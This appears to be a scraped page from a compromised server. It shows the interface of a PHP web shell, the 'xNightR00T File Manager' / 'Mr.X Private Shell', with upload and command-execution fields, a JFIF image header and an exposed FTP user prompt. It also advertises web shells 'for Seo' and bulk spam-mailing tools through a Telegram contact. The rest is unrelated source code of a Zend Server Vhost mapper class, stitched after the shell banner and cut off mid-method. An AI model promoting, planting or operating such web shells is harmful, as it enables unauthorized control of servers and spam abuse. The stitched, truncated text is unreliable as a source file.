xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\Mapper;

use Zend\Db\Sql\Sql;
use Zend\Db\Sql\Where;
use Application\Db\Adapter\AdapterAwareInterface;
use Application\Db\Connector;
use Zend\Db\Adapter\Adapter;
use Zend\Db\Adapter\Driver\ResultInterface;
use Zend\Db\ResultSet\HydratingResultSet;
use Zend\Hydrator\Reflection as ReflectionHydrator;
use Vhost\Entity\Vhost as VhostEntity;
use Vhost\Entity\VhostNode as VhostNodeEntity;
use ZendServer\Set;
use ZendServer\FS\FS;
use Vhost\StdLib\Hydrator\VhostApplications;
use Zend\Db\ResultSet\ResultSet;
use Deployment\Model;
use ZendServer\Exception;
use Configuration\MapperDirectives;
use Configuration\MapperAbstract;
use Zend\Uri\UriFactory;
use Servers\Db\ServersAwareInterface;
use Servers\Db\Mapper as ServersMapper;
use Messages\Db\MessageMapper;
use Messages\MessageContainer;
use Vhost\VhostNodeContainer;
use Zend\Db\Sql\Predicate\Predicate;
use ZendServer\Log\Log;
use Zend\Db\Sql\Select;
use Zend\Db\Sql\Expression;

class Vhost extends MapperAbstract implements AdapterAwareInterface, ServersAwareInterface
{
    const VHOSTS_TABLE        = 'ZSD_VHOSTS';
    const VHOSTS_NODES_TABLE  = 'ZSD_VHOSTS_NODES';
    const VHOST_MAX_RESULTS   = 500;
    const DEFAULT_SERVER_FLAG = '<default-server>';
    const DEFAULT_SERVER_FLAG_2 = '[default-server]';

    /**
     * Status flags
     */
    const WAITING_ATTACH_FLAG = 'WAITING_ATTACH';
    const WAITING_DETACH_FLAG = 'WAITING_DETACH';
    const ATTACHING_FLAG      = 'ATTACHING';
    const DETACHING_FLAG      = 'DETACHING';
    const ATTACH_ERROR_FLAG   = 'ATTACH_ERROR';
    const DETACH_ERROR_FLAG   = 'DETACH_ERROR';
    const ATTACHED_FLAG       = 'ATTACHED';

    /**
     * @var Tasks
     */
    private $vhostTasks;

    /**
     * @var Adapter
     */
    private $dbAdapter;

    /**
     * @var Mapper
     */
    private $serversMapper;

    /**
     * @var Model
     */
    private $deploymentMapper;

    /**
     * @var VhostApplications
     */
    private $vhostHydrator;

    /**
     * @var boolean
     */
    private $vhostsManaged = true;

    /**
     * @var MapperDirectives
     */
    private $directivesMapper;

    /**
     * @var MessageMapper
     */
    private $messagesMapper;

    /**
     * @var vhostAppId
     */
    private $vhostAppIdList = [];

    /**
     * @var vhostAppId
     */
    private $vhostsData = [];

    /**
     * @param VhostEntity $vhost
     * @return number
     */
    public function vhostStatus(VhostEntity $vhost)
    {

        $servers = $this->getFullVhostNodes(array($vhost->getId()));

        $status = array();
        foreach ($servers[$vhost->getId()] as $server) { /* @var $server VhostNodeContainer */
            $status[$server->getStatus()] = $server->getStatus();
        }

        // have only one status - ok or error
        if (count($status) == 1) {
            return current($status);
        }

        // There is one member with status modified
        if (isset($status[VhostEntity::STATUS_MODIFIED])) {
            return VhostEntity::STATUS_MODIFIED;
        }

        // the vhost deployment should be enabled but its not
        if (isset($status[VhostEntity::STATUS_DEPLOYMENT_NOT_ENABLED])) {
            return VhostEntity::STATUS_DEPLOYMENT_NOT_ENABLED;
        }

        // have pending restart
        if (isset($status[VhostEntity::STATUS_PENDING_RESTART])) {
            return VhostEntity::STATUS_PENDING_RESTART;
        }

        // have create error
        if (isset($status[VhostEntity::STATUS_CREATE_ERROR])) {
            return VhostEntity::STATUS_CREATE_ERROR;
        }

        // have mixed ok and error status
        return VhostEntity::STATUS_WARNING;
    }

    /**
     * @param string $baseUrl
     * @throws \WebAPI\Exception
     * @return VhostEntity
     */
    public function createVhostFromURL($baseUrl,$isDeployment = false)
    {
        ///disassemble $baseUrl to retrieve the vhost
        $baseUrl    = trim($baseUrl, '/');
        $baseUrlUri = UriFactory::factory($baseUrl);
        // use default template
        $template   = $this->getSchemaContent();
        $host       = strtolower($baseUrlUri->getHost());
        $taskId     = $this->insertVhost($host, $baseUrlUri->getPort(), $template, false, '', '', '', '', false,
            $isDeployment);
        $this->getVhostTasks()->getTasksMapper()->waitForTasksComplete(array(), array($taskId));
        $vhostHost  = "{$host}:{$baseUrlUri->getPort()}";
        return $this->getVhostByName($vhostHost);
    }

    public function vhostFromURL($baseUrl)
    {
        $baseUrl    = trim($baseUrl, '/');
        $baseUrlUri = UriFactory::factory($baseUrl);
        $vhostHost  = "{$baseUrlUri->getHost()}:{$baseUrlUri->getPort()}";

        $validator = new \Vhost\Validator\VhostValidForDeploy();
        $validator->setVhostMapper($this);
        if (!$validator->isValid($vhostHost)) {
            throw new \WebAPI\Exception(_t('Requested Vhost is invalid: %s', array(current($validator->getMessages()))),
            \WebAPI\Exception::VIRTUAL_HOST_INVALID);
        }

        return $this->getVhostByName($vhostHost);
    }

    /**
     * @throws Exception
     * @return VhostEntity
     */
    public function getDefaultServerVhost()
    {
        $sql       = new Sql($this->getDbAdapter());
        $select    = $sql->select(self::VHOSTS_TABLE);
        $select->where(array('IS_DEFAULT' => 1));
        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();


        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            if (1 != $result->count()) {
                throw new Exception(_t('System has %s default vhosts, cannot determine which one is the default server',
                    array($result->count())));
            }
            $resultSet = new HydratingResultSet(new ReflectionHydrator(), new VhostEntity());
            $resultSet->initialize($result);

            return $resultSet->current();
        } else {
            throw new Exception(_t('Cannot determine a default server: no vhosts found'));
        }
    }

    /**
     * @param integer $id
     * @return VhostEntity
     * @throws \Zend\Db\Exception
     */
    public function getVhostById($id)
    {
        if(isset($this->vhostsData[$id])){
            return $this->vhostsData[$id];
        }
        $resultSet = $this->getVhosts(array($id));
        if ($resultSet->count() == 1) {
            $this->vhostsData[$id] = $resultSet->current();
            return $resultSet->current();
        }

        return new VhostEntity();
    }

    /**
     * Get vhost data by app id
     * @param int $appId
     * @return array
     */
    public function getVhostsDataByAppId(int $appId): array
    {
        $vhostsInfo  = $this->getDeploymentMapper()->getVhostInfoByAppId($appId);
        $application = $this->getDeploymentMapper()->getApplicationById($appId);
        $originUrl   = $application->getBaseUrl();
        $result      = array();
        $orderResult      = array();
        
        foreach ($vhostsInfo as $vhostInfo) {
            $vhost = $this->getVhostById($vhostInfo['vhost_id']);
            if (!isset($vhostsIds[$vhostInfo['vhost_id']]) ||
                $vhostInfo['status'] != self::ATTACHED_FLAG) {
                $vhostsIds[$vhostInfo['vhost_id']] = $vhostInfo['vhost_id'];
                $result[$vhostInfo['id']] = array(
                    'id' => $vhost->getId(),
                    'name' => $vhost->getName(),
                    'port' => $vhost->getPort(),
                    'address' => $this->getBaseUrlByVhost($vhost, $originUrl),
                    'status' => $vhostInfo['status'],
                    'message' => $vhostInfo['last_message'],
                );
            }
        }
        ksort(($result));
        return $result;
    }

    /**
     * Get vhost data by app id
     * @param int $appId
     * @return array
     */
    public function getBaseUrlByAppId(int $appId): string
    {
        $vhost       = $this->getFirstVhostByAppId($appId);
        $application = $this->getDeploymentMapper()->getApplicationById($appId);
        $originUrl   = $application->getBaseUrl();
        return $this->getBaseUrlByVhost($vhost, $originUrl);
    }

    /**
     * Get vhost data by app id
     * @param int $appId
     * @return array
     */
    static public function getBaseUrlByVhost(VhostEntity $vhost, string $baseUrl): string
    {
        $portPrefix = (in_array($vhost->getPort(), array(443, 80))) ? '' : ':'.$vhost->getPort();
        if ($vhost->getId() && !$vhost->isDefault()) {
            $http       = $vhost->getPort() == 443 ? 'https://' : 'http://';
            $originPath = parse_url($baseUrl, PHP_URL_PATH);
            return $http.$vhost->getHostname().$portPrefix.$originPath;
        } else {
            $originHost = parse_url($baseUrl, PHP_URL_HOST);
            $http       = $vhost->getPort() == 443 ? 'https://' : 'http://';
            $originPath = parse_url($baseUrl, PHP_URL_PATH);
            $host       = ($originHost != self::DEFAULT_SERVER_FLAG && $originHost != self::DEFAULT_SERVER_FLAG_2) ? $originHost
                    : $_SERVER['SERVER_NAME'];
            return $http.$host.$portPrefix.$originPath;
        }
    }

    /**
     * Get vhost data by app id
     * @param int $appId
     * @return array
     */
    static public function getFormatedBaseUrl(string $baseUrl): string
    {
        $origScheme = parse_url($baseUrl, PHP_URL_SCHEME);
        $originHost = parse_url($baseUrl, PHP_URL_HOST);
        $portPrefix = parse_url($baseUrl, PHP_URL_PORT);
        $portPrefix = !empty($portPrefix) ? ':'.$portPrefix : $portPrefix;
        $protocol   = $origScheme . '://';
        $originPath = parse_url($baseUrl, PHP_URL_PATH);
        $host       = ($originHost != self::DEFAULT_SERVER_FLAG && $originHost != self::DEFAULT_SERVER_FLAG_2) ? 
            $originHost : $_SERVER['SERVER_NAME'];
        return $protocol.$host.$portPrefix.$originPath;
    }

    /**
     * Get first vhost app id
     * @param int $appId
     * @return VhostEntity
     */
    public function getFirstVhostByAppId(int $appId): VhostEntity
    {

        $vhostsInfo = $this->getDeploymentMapper()->getVhostInfoByAppId($appId);
        foreach ($vhostsInfo as $vhostInfo) {
            if ($vhostInfo['status'] == self::ATTACHED_FLAG) {
                return $this->getVhostById($vhostInfo['vhost_id']);
            }
        }
        if (!empty($vhostsInfo)) {
            return $this->getVhostById($vhostsInfo[key($vhostsInfo)]['vhost_id']);
        } else {
            return new VhostEntity();
        }
    }

    /**
     * Get first vhost app id
     * @param int $appId
     * @return VhostEntity
     */
    public function getFirstVhostIdByAppId(int $appId,bool $useGlobal = true)
    {
        if(array_key_exists($appId,$this->vhostAppIdList) && $useGlobal){
            return $this->vhostAppIdList[$appId];
        }

        $vhostsInfo = $this->getDeploymentMapper()->getVhostInfoByAppId($appId);
        foreach ($vhostsInfo as $vhostInfo) {
            if ($vhostInfo['status'] == self::ATTACHED_FLAG) {
                $this->vhostAppIdList[$appId] = $vhostInfo['vhost_id'];
                return $vhostInfo['vhost_id'];
            }
        } 
        if (!empty($vhostsInfo)) {
            $this->vhostAppIdList[$appId] = $vhostsInfo[key($vhostsInfo)]['vhost_id'];
            return $vhostsInfo[key($vhostsInfo)]['vhost_id'];
        } else {
            return null;
        }
    }

    public function updateApplication(&$app, $allVhosts = null)
    {
        if (isset($allVhosts)) {
            $firstId = $this->getFirstVhostIdByAppId($app->getApplicationId());
            foreach ($allVhosts as $vhost) {
                if ($firstId == $vhost->getId()) {
                    $originUrl = $app->getBaseUrl();
                    $app->setBaseUrl($this->getBaseUrlByVhost($vhost, $originUrl));
                    $app->setVhostId($vhost->getId());
                    return;
                }
            }
        }
        $vhost = $this->getFirstVhostByAppId($app->getApplicationId());
        if ($vhost->getId()) {
            $originUrl = $app->getBaseUrl();
            $app->setBaseUrl($this->getBaseUrlByVhost($vhost, $originUrl));
            $app->setVhostId($vhost->getId());
        }
    }

    public function updateApplicationArray(&$appArray,$allVhosts=null)
    {
        if (isset($allVhosts)) {
            $firstId = $this->getFirstVhostIdByAppId($appArray['applicationId']);
            foreach ($allVhosts as $vhost) {
                if ($firstId == $vhost->getId()) {
                        $originUrl           = $appArray['baseUrl'];
                        $appArray['baseUrl'] = $this->getBaseUrlByVhost($vhost, $originUrl);
                        return;
                }else{
                }
            }
        }
        $vhost = $this->getFirstVhostByAppId($appArray['applicationId']);
        if ($vhost->getId() && !$vhost->isDefault()) {
            $originUrl           = $appArray['baseUrl'];
            $appArray['baseUrl'] = $this->getBaseUrlByVhost($vhost, $originUrl);
        }
    }

    /**
     * @param array $vhosts
     * @param array $filter
     * @return number
     */
    public function countVhosts($filter = array())
    {

        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);
        $select->join('ZSD_VHOSTS_BINDINGS', self::VHOSTS_TABLE.'.ID = ZSD_VHOSTS_BINDINGS.VHOST_ID');
        $select->columns(array('counter' => new Expression('COUNT(*)')));
        $select->where($this->parseFilters($filter));

        $stmt   = $sql->prepareStatementForSqlObject($select);
        $result = $stmt->execute();
        $row    = $result->current();
        return (integer) $row['counter'];
    }

    /**
     * Get all the available vhosts
     * @return  
     */
    public function getAllActiveVhosts() {        
        return $this->getVhosts(
            $vhosts = array(), 
            $filter = array(), 
            $limit = 0, 
            $offset = 0, 
            $order = null, 
            $direction = null, 
            $onlyValid = true
        );
    }
    
    /**
     * Get number of active nodes
     * @return  
     */
    protected function getNumberOfActiveNodes() {
        $select = new Select();
        $select->columns(array('total' => new Expression('count(*)')));
        $select->from('ZSD_NODES');
        // get all the "valid" servers for vhost
        $select->where(array(
            'status_code' => array(
                \Servers\View\Helper\ServerStatus::STATUS_OK,
                \Servers\View\Helper\ServerStatus::STATUS_ERROR,
                \Servers\View\Helper\ServerStatus::STATUS_RESTART_REQUIRED,
                \Servers\View\Helper\ServerStatus::STATUS_RELOADING,
                \Servers\View\Helper\ServerStatus::STATUS_SERVER_RESTARTING,
                \Servers\View\Helper\ServerStatus::STATUS_SERVER_REDEPLOYING,
                \Servers\View\Helper\ServerStatus::STATUS_WARNING,
            )
        ));
        
        $nodes = $this->selectWith($select);
        return intval($nodes[0]['total']);
    }

    /**
     * @param array $vhosts
     * @return ResultSet
     * @throws \Zend\Db\Exception
     */
    public function getVhosts($vhosts = array(), $filter = array(), $limit = 0, $offset = 0, $order = null, $direction = null, $onlyValid = false)
    {
        $sql = new Sql($this->getDbAdapter());

        // get the number of nodes
        $totalNodes = 0;
        if ($onlyValid) {
            $totalNodes = $this->getNumberOfActiveNodes();
            if ($totalNodes == 0) {
                throw new \WebAPI\Exception('No available nodes', \WebAPI\Exception::ERROR);
            }
        }

        $select = new \Zend\Db\Sql\Select ();
        $columns = array(
            'ID', 'NAME', 'TEXT', 
            'CREATED_AT', 'LAST_UPDATED', 
            'DOCUMENT_ROOT', 'OWNER',
            'CONFIG_FILE', 'TEMPLATE', 'IS_DEFAULT', 
            'CRT_FILE', 'CRT_KEY_FILE', 'CRT_CHAIN_FILE', 'SSL_APP_NAME', 'APPLICATION_POOL',
        );
        // to get only valid vhosts - all the nodes have to be active
        if ($onlyValid) {
            $columns['ACTIVE_NODES'] = new Expression('count(ZSD_VHOSTS_NODES.ID)');
        }        
        $select->columns($columns);
        $select->from('ZSD_VHOSTS');
        
        if ($onlyValid) {
            // calculate how many nodes have this vhost active
            $select->JOIN('ZSD_VHOSTS_NODES', 'ZSD_VHOSTS_NODES.VHOST_ID = ZSD_VHOSTS.ID', array(), $select::JOIN_LEFT);
            $select->group('ZSD_VHOSTS.ID');
            $select->having(array(
                'ACTIVE_NODES' => $totalNodes
            ));
        }
        
        $limit = min($limit, self::VHOST_MAX_RESULTS);
        if ($limit > 0) {
            $select->limit(intval($limit));
            
            // Use offset only if limit is provided
            if ($offset > 0) {
                $select->offset(intval($offset));
            }
        }

        if (!is_null($order)) {
            if (!is_null($direction)) {
                $select->order($order.' '.$direction);
            } else {
                $select->order($order);
            }
        }

        $where = $this->parseFilters($filter);
        $select->where($where);
        
        if (count($vhosts) > 0) {
            $select->where(array('ZSD_VHOSTS.id' => $vhosts));
        }
        $result = $this->selectWith($select);

        // add bindings to the results
        foreach ($result as $i => $row) {
            $vhostBindings = $this->getVhostBindings($row['ID']);
            if (!empty($vhostBindings[$row['ID']])) {
                $result[$i]['BINDINGS'] = $vhostBindings[$row['ID']];
                
                // set the address, ssl, and port from the first bindings row
                $firstBinding = $vhostBindings[$row['ID']][0];
                $result[$i]['ADDRESS'] = $firstBinding['ADDRESS'];
                $result[$i]['PORT'] = $firstBinding['PORT'];
                $result[$i]['IS_SSL'] = $firstBinding['IS_SSL'];
            }
        }

        if ($result && is_array($result) && count($result) > 0) {
            $resultSet = new HydratingResultSet($this->getVhostHydrator(), new VhostEntity());
            $resultSet->initialize($result);
            return $resultSet;
        } else {
            return new \ZendServer\Set(array());
        }
        
    }
    
    /**
     * Get vhost bindings (optionally per vhost ID)
     * 
     * @param array|integer $vhostId - optional
     * @return ResultSet
     */
    protected function getVhostBindings($vhostIds = false)
    {
        // caching of the result
        static $resultSet = null;
        
        if (is_null($resultSet)) {
            $select = new Select();
            $select->from('ZSD_VHOSTS_BINDINGS');
            $resultSet = $this->selectWith($select);
        }
        
        if ($resultSet && $vhostIds) {
            $tmpArray = [];
            
            if (!is_array($vhostIds)) {
                $vhostIds = [$vhostIds];
            }
            foreach ($resultSet as $row) {
                if (in_array($row['VHOST_ID'], $vhostIds)) {
                    if (!isset($tmpArray[$row['VHOST_ID']])) {
                        $tmpArray[$row['VHOST_ID']] = [];
                    }
                    
                    $tmpArray[$row['VHOST_ID']][] = $row;
                }
            }
            
            return $tmpArray;
        }
        
        return $resultSet;
    }

    /**
     * @return \Vhost\Entity\Vhost
     */
    public function getNewVhost()
    {
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);
        $select->limit(1);
        $select->order('ID DESC');

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet($this->getVhostHydrator(), new VhostEntity());
            $resultSet->initialize($result);

            return $resultSet->current();
        }

        return new VhostEntity();
    }

    /**
     * @param string $vhostName
     * @return vhostEntity
     */
    public function getVhostByName($vhostName)
    {
        $vhost = $this->getVhostsByNames(array($vhostName))->current();
        return $vhost === false ? null : $vhost;
    }


    /**
     * Get vhost by port
     * @param string $port
     * @return vhostEntity
     */
    public function getVhostByPort($port)
    {
        $vhost = $this->getVhostsByPorts($port)->current();
        return $vhost === false ? null : $vhost;
    }

    /**
     * @return Set
     */
    public function getVhostsByNames($names = array())
    {
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);
        $select->join('ZSD_VHOSTS_BINDINGS', self::VHOSTS_TABLE.'.ID = ZSD_VHOSTS_BINDINGS.VHOST_ID',['PORT','ADDRESS']);
       
        $wherePredicates = array();
        foreach ($names as $name) {
            $vhostName = '';
            $vhostPort = '';

            $exploded = explode(':', $name);
            if (count($exploded) == 1) {
                $vhostName = $name;
            } else {
                $vhostPort = array_pop($exploded);
                $vhostName = implode(':', $exploded);
            }

            $wherePredicate = new Where();
            $wherePredicate->nest()
                ->equalTo('NAME', $vhostName)
                ->or
                ->equalTo('ZSD_VHOSTS_BINDINGS.HOSTNAME', $vhostName)
                ->unnest();
            if (!empty($vhostPort)) {
                $wherePredicate->equalTo('ZSD_VHOSTS_BINDINGS.PORT', $vhostPort);
            }

            $wherePredicates[] = $wherePredicate;
        }

        $select->where($wherePredicates, 'OR');

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet($this->getVhostHydrator(), new VhostEntity());
            $resultSet->initialize($result);
            return $resultSet;
        }

        return new ResultSet();
    }

     /**
     * Get vhost by ports
     * @return Set
     */
    public function getVhostsByPorts($ports = array())
    {
        if(!is_array($ports)){
            $ports = array($ports);
        }
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);
        $select->join('ZSD_VHOSTS_BINDINGS', self::VHOSTS_TABLE.'.ID = ZSD_VHOSTS_BINDINGS.VHOST_ID');

        $wherePredicates = array();
        foreach ($ports as $port) {
            $wherePredicate = new Where();
            $wherePredicate->equalTo('ZSD_VHOSTS_BINDINGS.PORT', $port);
            $wherePredicates[] = $wherePredicate;
        }

        $select->where($wherePredicates, 'OR');

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet($this->getVhostHydrator(), new VhostEntity());
            $resultSet->initialize($result);
            return $resultSet;
        }

        return new ResultSet();
    }

    /**
     * Get vhosts by ids
     * @param array $ids
     * @return ResultSet|HydratingResultSet
     */
    public function getVhostsByIds($ids = array())
    {
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);

        $wherePredicates = array();
        foreach ($ids as $id) {
            $wherePredicate = new Where();
            $wherePredicate->equalTo('ID', $id);

            $wherePredicates[] = $wherePredicate;
        }

        $select->where($wherePredicates, 'OR');

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet($this->getVhostHydrator(), new VhostEntity());
            $resultSet->initialize($result);
            return $resultSet;
        }

        return new ResultSet();
    }

    /**
     * @param integer $vhostId
     * @return ResultInterface
     */
    public function getSingleVhostNodes($vhostId)
    {
        return $this->getVhostNodes(array($vhostId));
    }

    /**
     * @param array $vhostsIds
     * @return ResultInterface
     */
    public function getVhostPorts()
    {
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_TABLE);
        $select->join('ZSD_VHOSTS_BINDINGS', self::VHOSTS_TABLE.'.ID = ZSD_VHOSTS_BINDINGS.VHOST_ID');
        $select->group('port');

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet(new ReflectionHydrator(), new VhostEntity());
            $resultSet->initialize($result);

            return $resultSet;
        }

        return null;
    }

    /**
     * @param array $vhostsIds
     * @return ResultInterface
     */
    public function getVhostNodes($vhostsIds = array())
    {
        $sql    = new Sql($this->getDbAdapter());
        $select = $sql->select(self::VHOSTS_NODES_TABLE);
        $select->join('ZSD_NODES', self::VHOSTS_NODES_TABLE.'.node_id = ZSD_NODES.node_id', array('NAME' => 'NODE_NAME'));
        if (count($vhostsIds) > 0) {
            $select->where(array('VHOST_ID' => $vhostsIds));
        }

        $statement = $sql->prepareStatementForSqlObject($select);
        $result    = $statement->execute();

        if ($result instanceof ResultInterface && $result->isQueryResult()) {
            $resultSet = new HydratingResultSet(new ReflectionHydrator(), new VhostNodeEntity());
            $resultSet->initialize($result);

            return $resultSet;
        }

        return null;
    }

    /**
     * @param array $vhostsIds
     * @param array $deletingVhosts
     * @return array
     */
    public function getFullVhostNodes($vhostsIds,$deletingVhosts = array())
    {
        $serversMapper = $this->getServersMapper();
        $servers       = $serversMapper->findRespondingServers();
        $serversIds    = array();
        foreach ($servers as $server) { /* @var $server \Servers\Container */
            $serversIds[$server->getNodeId()] = $server->getNodeName();
        }

        $vhostsNodes = array();
        foreach ($vhostsIds as $vhostsId) {
            $vhostsNodes[$vhostsId] = array();
        }

        $vhostsNodesResult = $this->getVhostNodes($vhostsIds);
        foreach ($vhostsNodesResult as $vhostsNode) {
            if (isset($serversIds[$vhostsNode->getNodeId()])) {
                $vhostsNodes[$vhostsNode->getVhostId()][] = new \Vhost\VhostNodeContainer($vhostsNode);
            }
        }

        // detect missing servers vhost nodes and put error vhost node istead
        foreach ($vhostsNodes as $vhostId => $vhostNodes) {
            $vhostsServers = array();
            foreach ($vhostNodes as $vhostNode) { /* @var $vhostNode \Vhost\VhostNodeContainer */
                $vhostsServers[$vhostNode->getNodeId()] = $vhostNode->getNodeId();
            }

            $diff = array_diff_key($serversIds, $vhostsServers);

            if (0 < count($diff) && !in_array($vhostId, $deletingVhosts)) {
                $messages    = array();
                $messagesSet = $this->getMessagesMapper()->findAllVhostMessages(array_keys($diff));
                foreach ($messagesSet as $message) { /* @var $message MessageContainer */
                    $messages[$message->getMessageNodeId()] = $message;
                }

                foreach ($diff as $diffId => $serverName) {
                    $missingServer = $this->createNotExistsVhostNode($vhostId, $diffId);
                    $missingServer->setName($serverName);
                    if (isset($messages[$diffId])) {
                        $serverMessage = $messages[$diffId];
                        $severity      = VhostNodeContainer::STATUS_ERROR;
                        $missingServer->setStatus($severity);
                        $missingServer->setLastMessage(array('type' => $serverMessage->getMessageType(), 'details' => $serverMessage->getMessageDetails()));
                    }
                    $vhostsNodes[$vhostId][] = $missingServer;
                }
            }
        }

        return $vhostsNodes;
    }

    /**
     * Reads the schema SSL file content according to the webserver type
     * @return string
     */
    public function getSSLSchemaContent()
    {
        return $this->getSchemaFileContent('-ssl');
    }

    /**
     * Reads the schema file content according to the webserver type
     * @return string
     */
    public function getSchemaContent()
    {
        return $this->getSchemaFileContent();
    }

    /**
     * Reads the schema file content according to the webserver type
     * @param \Configuration\MapperDirectives $directivesMapper
     * @return string
     */
    public function getManageTemplate()
    {
        // get the webserverType
        $webserverType = $this->getDirectivesMapper()->selectSpecificDirectives(array('zend.webserver_type'))->current()->getValue();

        // get vhost schema file according to webserver type
        $schemaFile = '';

        switch ($webserverType) {
            case 'nginx':
                $template = '
server {
&nbsp;&nbsp;&nbsp;listen 80;
&nbsp;&nbsp;&nbsp;root /var/www;
&nbsp;&nbsp;&nbsp;<%INCLUDE_LINE%>
}					
';
                break;
            default: // apache
                $template = '
&lt;VirtualHost *:80&gt;
&nbsp;&nbsp;&nbsp;DocumentRoot /var/www
&nbsp;&nbsp;&nbsp;...							
&nbsp;&nbsp;&nbsp;<%INCLUDE_LINE%>
&lt;/VirtualHost&gt;';
                break;
        }

        return $template;
    }

    /**
     * @param integer $auditId
     * @param integer $vhostId
     * @param string $template
     * @return number
     */
    public function editVhost($vhostId, $template, $certFile = '', $certKeyFile = '', $certChainFile = '',
                              $sslAppName = '', $force = false)
    {
        $params = array(
            'vhostId' => $vhostId,
            'template' => $template,
            'ssl_certificate' => (string) $certFile,
            'ssl_certificate_key' => (string) $certKeyFile,
            'ssl_certificate_chain' => (string) $certChainFile,
            'ssl_app_name' => (string) $sslAppName,
            'forceCreate' => (boolean) $force
        );
        return $this->getVhostTasks()->editVhostTask($params);
    }

    /**
     * @param string $vhostName
     * @param integer $port
     * @param string $template
     * @param boolean $ssl
     * @param string $certFile
     * @param string $certKeyFile
     * @param boolean $force
     * @return number
     */
    public function insertVhost($vhostName, $port, $template, $ssl = false, $certFile = '', $certKeyFile = '',
                                $certChainFile = '', $sslAppName = '', $force = false,$isDeployment = false)
    {
        return $this->getVhostTasks()->addVhostTask(array('name' => $vhostName, 'port' => $port, 'template' => $template,
                'ssl_support' => (boolean) $ssl, 'ssl_certificate' => (string) $certFile, 'ssl_certificate_key' => (string) $certKeyFile,
                'ssl_certificate_chain' => (string) $certChainFile, 'ssl_app_name' => (string) $sslAppName, 'forceCreate' => (boolean) $force
            ,'is_deployment' => $isDeployment));
    }

    /**
     * @param array $vhostIds
     */
    public function removeVhosts(array $vhostIds)
    {
        $this->getVhostTasks()->removeVhostTask($vhostIds);
    }

    /**
     * @param integer $vhostId
     */
    public function redeployVhost($vhostId)
    {
        $this->getVhostTasks()->redeployVhostTask($vhostId);
    }

    /**
     * @param integer $vhostId
     */
    public function manageVhost($vhostId, $applyImmediately)
    {
        $this->getVhostTasks()->manageVhostTask($vhostId, $applyImmediately);
    }

    /**
     * @param integer $vhostId
     */
    public function unmanageVhost($vhostId)
    {
        $this->getVhostTasks()->unmanageVhostTask($vhostId);
    }

    /**
     * @return Tasks
     */
    public function getVhostTasks()
    {
        if (is_null($this->vhostTasks)) {
            throw new \ZendServer\Exception('vhostTasks class is not available');
        }
        return $this->vhostTasks;
    }

    /**
     * @return Adapter
     */
    public function getDbAdapter()
    {
        return $this->dbAdapter;
    }

    /**
     * @return MessageMapper
     */
    public function getMessagesMapper()
    {
        return $this->messagesMapper;
    }

    /**
     * @param \Messages\Db\MessageMapper $messagesMapper
     */
    public function setMessagesMapper($messagesMapper)
    {
        $this->messagesMapper = $messagesMapper;
    }

    /**
     * @param \Vhost\Mapper\Tasks $vhostTasks
     */
    public function setVhostTasks($vhostTasks)
    {
        $this->vhostTasks = $vhostTasks;
    }
    /* (non-PHPdoc)
     * @see \Zend\Db\Adapter\AdapterAwareInterface::setDbAdapter()
     */

    public function setDbAdapter(\Zend\Db\Adapter\Adapter $adapter)
    {
        $this->dbAdapter = $adapter;
    }
    /* (non-PHPdoc)
     * @see \Application\Db\Adapter\AdapterAwareInterface::getAdapterDb()
     */

    public function getAdapterDb()
    {
        return Connector::DB_CONTEXT_ZSD;
    }

    /**
     * @param ServersMapper $serversMapper
     */
    public function setServersMapper($serversMapper)
    {
        $this->serversMapper = $serversMapper;
    }

    /**
     * @return ServersMapper
     */
    public function getServersMapper()
    {
        return $this->serversMapper;
    }

    /**
     * @return VhostApplications
     */
    public function getVhostHydrator()
    {
        if (is_null($this->vhostHydrator)) {
            $this->vhostHydrator = new VhostApplications();
            $this->vhostHydrator->setDeploymentMapper($this->getDeploymentMapper());
        }
        return $this->vhostHydrator;
    }

    /**
     * @return Model
     */
    public function getDeploymentMapper()
    {
        return $this->deploymentMapper;
    }

    /**
     * @param \Deployment\Model $deploymentMapper
     */
    public function setDeploymentMapper($deploymentMapper)
    {
        $this->deploymentMapper = $deploymentMapper;
    }

    /**
     * @param integer $vhostId
     * @param integer $nodeId
     * @return \Vhost\VhostNodeContainer
     */
    private function createNotExistsVhostNode($vhostId, $nodeId)
    {
        $vhostNode = new \Vhost\VhostNodeContainer(new \Vhost\Entity\VhostNode());
